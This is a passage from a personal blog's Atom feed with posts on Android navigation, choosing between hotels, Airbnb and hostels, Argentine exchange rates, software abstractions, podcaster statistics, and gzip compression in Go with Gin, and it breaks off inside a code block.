In that case, the up button will still take you to &ldquo;Songs&rdquo; while the back will take you back to &ldquo;Rock&rdquo;.</p>
<p>How to implement this?</p>
<p>For back, implement a back stack, for example, the back stack in the above case looks like this.</p>
<p>Songs -&gt; Rock -&gt; Pop</p>
<p>For up, come up with a logical way to show the parent folder, if any.
So, the parent folder of &ldquo;Pop&rdquo;, &ldquo;Rock&rdquo;, and &ldquo;Rap&rdquo; will be &ldquo;Songs&rdquo;. And since &ldquo;Songs&rdquo; is the top-most folder,
hide the up navigation in that case.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Hotels vs Airbnb vs Hostels</title><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/public-transport-guide/?utm_source=atom_feed" rel="related" type="text/html" title="When can you count on public transport while traveling?"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="related" type="text/html" title="Crowded or Popular? Exclusive or deserted?"/><id>https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/</id><author><name>Ashish Bhatia</name></author><published>2024-04-15T05:00:35+00:00</published><updated>2024-04-15T05:00:35+00:00</updated><content type="html"><![CDATA[<blockquote>A comparison of hotels, Airbnb, and hostels for travelers. What are the pros and cons of each? Which one is the best? Read on to find out.</blockquote><p>One core aspect of traveling is figuring out where to sleep.
Barring more exotic options like sleeping in a tent or an RV,
most people end up choosing either a hotel, an Airbnb (or VRBO), or a hostel for a stay.
Read on to see what I like/dislike about each of these and what&rsquo;s my favorite.</p>
<h3 id="hotels">Hotels</h3>
<p>Hotels are designed for tourists and not travelers.
Hotels, especially big chains, are great for consistent and high-quality service.</p>
<p>One major problem is that hotels, usually, have a very car-centric approach to travel.
If you are taking 
<a href="/travel/public-transport-guide/">public transport</a>, then either the hotel connectivity would be poor.
Or even if it is good, you might have to walk a lot inside to reach the right room on the right floor of a gigantic hotel.</p>
<p>Further, hotel rooms usually don&rsquo;t have a kitchen, so, there is rarely an opportunity to cook or even heat something.
Most hotels, instead, have a dine-in restaurant,
which depending on one&rsquo;s preferences could be a great place to eat western-style (or a westernized version of the local food).
For someone, who wants to try local food, it is best to venture out.</p>
<p>So, they are great if they are traveling in areas where public transports are unusable,
and you will be driving or taking guided tours.
For example, the west coast of the 
<a href="/tag/usa/">United States</a> and the sparsely populated islands of the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a>.</p>
<h3 id="airbnb">Airbnb</h3>
<p>There are tons of Airbnb-affiliated bloggers shilling Airbnb all the time. And they are not wrong.
Most of the time, Airbnb can give a better value for money than hotels.</p>
<p>However, a lot of times either you are sharing a house with the owner or there is absolutely
no one at the place, and you are fully on your own.
I, dislike either setting. When traveling, I don&rsquo;t want to be watched when I am coming and leaving the place.
If the owner is living in the same place, it becomes unavoidable.
And if the owner isn&rsquo;t staying then you are probably on your own to solve problems like
the keycode not working at 1 AM at night!</p>
<p>The other problem that comes with Airbnb is that a lot of bookings cannot be made instantly.
But can only be requested. And then the owner will approve it.
That&rsquo;s a separate hassle in itself that one has to plan for.</p>
<p>The last problem with Airbnb is the   
    
    
<a href="https://www.latimes.com/business/story/2020-01-09/airbnb-and-other-short-term-rental-guests-complain-about-fees?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">misleading prices</a>.
There is a cleaning fee, service fee, and other creative fees that show up when you book.
None of these fees show up during the actual search!</p>
<h3 id="hostels">Hostels</h3>
<p>When one imagines a hostel, one imagines 4 bunk beds in one room,
young guys sleeping half-naked, with their clothes lying on the floor.
And that probably is the worst-case assumption you should make if you are staying in a shared dorm room.
But I wouldn&rsquo;t recommend that.</p>
<p>Instead, book a private room (with a shared bathroom).
It won&rsquo;t be lavish, but you will get privacy. With the minor inconvenience of sharing the bathroom.</p>
<p>It will be much cheaper than a hotel room.
At times, I have seen the same hotel being listed on both hostel sites like Hostelworld.com and hotel booking sites like booking.com.
The price for the same room would be 2-3X higher when it is listed as a hotel room!</p>
<p>In a hostel, you can still go out and interact with fellow travelers in the kitchen (where you can microwave food!),
swimming pool, or other common areas. It will have a 12-hour, if not 24-hour staff at the reception.
And you will be staying in a lively area of the city.</p>
<p>Also, since most hostelers are dependent on public transport for traveling,
you will encounter that most hostels are conveniently located near major public transport hubs or in the center of the city.</p>
<p>Hostels are a great way to explore cities like 
<a href="/travel/prague-czech-republic/">Prague</a>, 
<a href="/travel/madrid-spain/">Madrid</a>, 
<a href="/travel/cusco-peru/">Cusco (Peru)</a>,
and even 
<a href="/travel/oahu-hawaii/">Honolulu</a>.
Hostels aren&rsquo;t the best choice in places where the concept of an urban center doesn&rsquo;t exist,
for example, 
<a href="/travel/aruba/">Aruba</a>, 
<a href="/travel/dominica/">Dominica</a>, or 
<a href="/travel/minneapolis-minnesota/">Minneapolis</a>.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Currency issues in Argentina</title><link href="https://ashishb.net/short-stories/currency-issues-in-argentina/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/real-vs-artificial-world/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs artificial world"/><link href="https://ashishb.net/short-stories/prague-airport/?utm_source=atom_feed" rel="related" type="text/html" title="At the Prague airport"/><link href="https://ashishb.net/short-stories/illegal-immigrants-in-cairo/?utm_source=atom_feed" rel="related" type="text/html" title="Illegal immigrants to Europe via Cairo"/><link href="https://ashishb.net/short-stories/on-a-bus-with-an-asylee/?utm_source=atom_feed" rel="related" type="text/html" title="On a bus with an asylum seeker"/><id>https://ashishb.net/short-stories/currency-issues-in-argentina/</id><author><name>Ashish Bhatia</name></author><published>2024-04-06T16:00:19+00:00</published><updated>2024-04-06T16:00:19+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the intricacies of Argentina&rsquo;s currency exchange rates and how to navigate them for travel. Learn where to use credit cards and when cash is king.</blockquote><p>I have traveled to many countries around the world. Some accept credit cards. Some only deal in cash. Some accept US Dollars. Some only accept local currency. Nowhere, however, I have dealt with a system as weird as Argentina. There are myriad exchange rates.</p>
<p>Consider this data based on my real experience.</p>
<ol>
<li>Official rate: <strong>1 USD = 226 pesos</strong>.
This is what one gets in official exchange places. And probably while using the ATM. It is a bad rate though. Do not use the ATM.</li>
<li>  
    
    
<a href="https://bluedollar.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Blue Dollar rate</a>/Black-market rate: 1 USD = 466 pesos. I converted a 100 USD bill at the rate of 1 USD = 460 pesos. The rate offered for a 20 USD bill was 1 USD = 453 pesos.   
    
    
<a href="https://www.ft.com/content/a44d7a2e-0321-43f8-84c0-d787ff54b716?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">10% of USD bills</a> in circulation in the world are in Argentina!</li>
<li>MEP rate: 1 USD = 415 pesos.
This is the rate I got when using my Visa credit card.
For my Master card, I was charged 1 USD = 226 pesos. And later, got a refund, making the effective exchange rate to be 1 USD = 395 pesos.
So, the MEP rate is ~10-15% lower than the blue dollar rate.</li>
<li>Hotels/hostels were offering an exchange rate of about 1 USD = 440 or 450 pesos.</li>
<li>Western Union gives a blue dollar rate except it charges a USD 5 transfer fee. The first transfer, however, is free. I didn&rsquo;t use Western Union.</li>
<li>Many businesses, especially, taxis will charge a 10% credit card payment surcharge.</li>
</ol>
<p>The Argentinian inflation rate is at 100% a year! So, no foreigner wants to end up holding too many pesos.</p>
<h3 id="so-what-to-do">So what to do</h3>
<p>All of these various issues cause significant consternation. Here&rsquo;s my recommendation for what to do.</p>
<ol>
<li>If you are staying in a big city like Buenos Aires for a few days then just use credit cards. You will lose 10-15% as a price of convenience.</li>
<li>If you are going to be traveling inside Argentina, for example, Patagonia or Ushuaia then bring 100$ bills. And convert them to pesos in Buenos Aires at the blue dollar rate. How much money should you carry? I would say about 30$ per person per day would suffice. This excludes any airline tickets which are hard to book with cash anyway. So, for a 10-day trip in Argentina, I would recommend converting three 100$ bills.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Abstractions should be deep not wide</title><link href="https://ashishb.net/programming/abstractions-should-be-deep-not-wide/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/repair-database-on-mobile-device/?utm_source=atom_feed" rel="related" type="text/html" title="Repairing database on the fly for millions of users"/><link href="https://ashishb.net/programming/google-cloud/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Google Cloud"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/abstractions-should-be-deep-not-wide/</id><author><name>Ashish Bhatia</name></author><published>2024-03-23T16:00:20+00:00</published><updated>2024-03-23T16:00:20+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how to efficiently build a git analytics product for GitHub and GitLab by separating code paths! Streamline development and reduce errors with smart abstractions.</blockquote><p>Let&rsquo;s say you are building a git analytics product.
Your product supports GitHub and GitLab for now.
It might support more products in the future.
90% of the codebase that supports GitHub and GitLab is identical.
10% is specific to GitHub and GitLab.
There are two ways to build software abstractions here.</p>
<p>The easy path to fall for is to have unified objects that take care of both GitHub and GitLab data.
These objects would, however, behave 10% differently depending on whether it is GitHub or GitLab.
Your codebase will be ridden with conditionals that trigger only for one or the other.</p>
<p>Alternatively, you can build two different code paths, one for GitHub and one for GitLab.
Those code paths will be similar to each other.
Any identical code in them can be extracted into common functions.
These common functions should know nothing about GitHub or GitLab.
However, a new engineer working on GitLab-related features does not need to know that a path for GitHub exists.
It further reduces the chance of accidentally breaking GitHub-related code as well.</p>
<p>Keep the code paths separate.
Let them use common code when required.
Make your abstractions deep not wide.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Some data on podcasting</title><link href="https://ashishb.net/tech/some-data-on-podcasting/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/javascript/?utm_source=atom_feed" rel="related" type="text/html" title="Minimize Javascript in your codebase"/><link href="https://ashishb.net/tech/ads/?utm_source=atom_feed" rel="related" type="text/html" title="In defense of ad-supported products"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/wordpress-to-hugo/?utm_source=atom_feed" rel="related" type="text/html" title="Migrating from WordPress to Hugo"/><link href="https://ashishb.net/tech/llms-great-for-business-but-bad-business/?utm_source=atom_feed" rel="related" type="text/html" title="LLMs: great for business but bad business"/><id>https://ashishb.net/tech/some-data-on-podcasting/</id><author><name>Ashish Bhatia</name></author><published>2024-03-16T16:00:37+00:00</published><updated>2024-03-16T16:00:37+00:00</updated><content type="html"><![CDATA[<blockquote>Discover surprising insights on the podcasting landscape from iTunes data: fewer than 50,000 of 1.5M podcasters are active professionals. Read more to understand why.</blockquote><p>A few years back, I scraped data on podcasters from iTunes. The data was a bit underwhelming and made me realize that podcasters can&rsquo;t be a potential market. It is a bit dated but I believe is still relevant.</p>
<p>I scraped the data for about ~1.5M podcasters listed from iTunes. At the time of scraping -</p>
<ol>
<li>430K podcasters have not created a single podcast in the past year.</li>
<li>550K podcasters have not created a single podcast in the past three months.</li>
<li>340K podcasts created a podcast in the last month.
<ol>
<li>Of those, only 190,000 have a podcast with at least ten episodes!</li>
<li>Out of 190,000, less than 36,000 have any social media presence!</li>
</ol>
</li>
</ol>
<p>So, less than 50,000 podcasters were doing this professionally.</p>
<p>These numbers are a few years old, but I doubt they have changed by a lot.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Always support compressed response in an API service</title><link href="https://ashishb.net/programming/always-support-compressed-response-in-an-api-service/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/repair-database-on-mobile-device/?utm_source=atom_feed" rel="related" type="text/html" title="Repairing database on the fly for millions of users"/><link href="https://ashishb.net/programming/google-cloud/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Google Cloud"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/always-support-compressed-response-in-an-api-service/</id><author><name>Ashish Bhatia</name></author><published>2024-03-09T17:00:49+00:00</published><updated>2024-03-09T17:00:49+00:00</updated><content type="html"><![CDATA[<blockquote>Enable compressed responses on your web services to save bandwidth and improve user experience. Learn how to implement gzip compression in Go with Gin and Nginx.</blockquote><p>If you run any web service always enable support for serving compressed responses. It will save egress bandwidth costs for you. And, more importantly, for your users. Over time, the servers as well as client devices have become more powerful, so, compressing/decompressing data on the fly is cheap.</p>
<p>For example,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl https://ashishb.net/ &gt; tmp1.htm <span style="color:#719e07">&amp;&amp;</span> du -shc tmp1.htm
</span></span><span style="display:flex;"><span>32K
</span></span><span style="display:flex;"><span>$ curl -H <span style="color:#2aa198">&#39;Accept-encoding: gzip&#39;</span> https://ashishb.net &gt; tmp1.gz <span style="color:#719e07">&amp;&amp;</span> du -shc tmp1.gz
</span></span><span style="display:flex;"><span>12K
</span></span><span style="display:flex;"><span><span style="color:#586e75"># curl can automatically decompress the response as well</span>
</span></span><span style="display:flex;"><span>$ curl --compressed https://ashishb.net</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>To support this on your servers, handle <code>Accept-encoding</code>. In many cases, you might find standard libraries that support this. For example, for the Go language&rsquo;s popular   
    
    
<a href="https://github.com/gin-gonic/gin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gin framework</a>, it is possible to enable this via   
    
    
<a href="https://github.com/gin-contrib/gzip?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">middleware</a>.</p>
<p>Here&rsquo;s a self-contain example demonstrating the same.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#586e75">// Save this file as server.go</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Then one-time setup</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// $ go mod init tmp1 &amp;&amp; go mod tidy</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Usage: go run server.go</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;github.com/gin-contrib/gzip&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;github.com/gin-gonic/gin&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>  r <span style="color:#719e07">:=</span> gin.<span style="color:#268bd2">Default</span>()
</span></span><span style="display:flex;"><span>  r.<span style="color:#268bd2">Use</span>(gzip.<span style="color:#268bd2">Gzip</span>(gzip.DefaultCompression))
</span></span><span style="display:flex;"><span>  r.<span style="color:#268bd2">GET</span>(<span style="color:#2aa198">&#34;/ping&#34;</span>, <span style="color:#268bd2">func</span>(c <span style="color:#719e07">*</span>gin.Context) {
</span></span><span style="display:flex;"><span>    c.<span style="color:#268bd2">JSON</span>(http.StatusOK, gin.H{
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#34;message&#34;</span>: <span style="color:#2aa198">&#34;pong&#34;</span>,
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  r.<span style="color:#268bd2">Run</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
